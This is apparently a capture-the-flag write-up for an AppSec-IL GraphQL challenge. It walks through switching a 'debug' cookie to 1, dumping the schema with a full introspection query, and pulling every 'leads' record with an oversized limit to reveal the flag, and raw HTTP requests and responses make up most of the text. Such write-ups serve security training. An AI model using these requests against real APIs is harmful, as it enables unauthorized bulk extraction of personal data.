First, you login, the request is:```POST /api HTTP/1.1Host: graphene.appsecil.ctf.todayConnection: closeContent-Length: 85sec-ch-ua: "Chromium";v="86", "\"Not\\A;Brand";v="99", "Google Chrome";v="86"Accept: application/json, text/javascript, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Content-Type: application/json; charset=UTF-8Origin: https://graphene.appsecil.ctf.todaySec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://graphene.appsecil.ctf.today/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __cfduid=de841180ad593ef31014e339d62331ca11603713409; debug=0
{"query":"mutation login {login(username:\"a\", password: \"aaaaaaaaaaaaaaaaaaaaaaaaa\") {user {username}ok}}"}```
Change `debug=0` to `debug=1`
Change `query` to  `fragment FullType on __Type {  kind  name  description  fields(includeDeprecated: true) {    name    description    args {      ...InputValue    }    type {      ...TypeRef    }    isDeprecated    deprecationReason  }  inputFields {    ...InputValue  }  interfaces {    ...TypeRef  }  enumValues(includeDeprecated: true) {    name    description    isDeprecated    deprecationReason  }  possibleTypes {    ...TypeRef  }}fragment InputValue on __InputValue {  name  description  type {    ...TypeRef  }  defaultValue}fragment TypeRef on __Type {  kind  name  ofType {    kind    name    ofType {      kind      name      ofType {        kind        name        ofType {          kind          name          ofType {            kind            name            ofType {              kind              name              ofType {                kind                name              }            }          }        }      }    }  }}query IntrospectionQuery {  __schema {    queryType {      name    }    mutationType {      name    }    types {      ...FullType    }    directives {      name      description      locations      args {        ...InputValue      }    }  }}`
Server response:
```json...__schema": {    "queryType": {      "name": "Query"    },    "mutationType": {      "name": "Mutations"    },    "types": [      {        "kind": "OBJECT",        "name": "Query",        "description": null,        "fields": [          {            "name": "user",            "description": null,            "args": [],            "type": {              "kind": "OBJECT",              "name": "User",              "ofType": null            },            "isDeprecated": false,            "deprecationReason": null          },          {            "name": "leads",            "description": null,            "args": [              {                "name": "limit",                "description": null,                "type": {                  "kind": "SCALAR",                  "name": "Int",                  "ofType": null                },                "defaultValue": null              }            ],            "type": {              "kind": "LIST",              "name": null,              "ofType": {                "kind": "OBJECT",                "name": "Lead",                "ofType": null              }            },            "isDeprecated": false,            "deprecationReason": null          }        ],        "inputFields": null,        "interfaces": [],        "enumValues": null,        "possibleTypes": null      },...```
You can see through the schema, got the query name `leads`, using this to query all the leads:
The request is:
```POST /api HTTP/1.1Host: graphene.appsecil.ctf.todayConnection: closeContent-Length: 85sec-ch-ua: "Chromium";v="86", "\"Not\\A;Brand";v="99", "Google Chrome";v="86"Accept: application/json, text/javascript, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Content-Type: application/json; charset=UTF-8Origin: https://graphene.appsecil.ctf.todaySec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://graphene.appsecil.ctf.today/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __cfduid=de841180ad593ef31014e339d62331ca11603713409; debug=1
{"query":"{leads(limit:100000){id,firstName,lastName,email,gender,ipAddress,isVip}}"}```
The response:
```...{      "id": "62",      "firstName": "Claiborne",      "lastName": "Wrathall",      "email": "AppSec-IL{c4R8ON-15-9r4phene}",      "gender": "Male",      "ipAddress": "135.39.36.56",      "isVip": true    },...```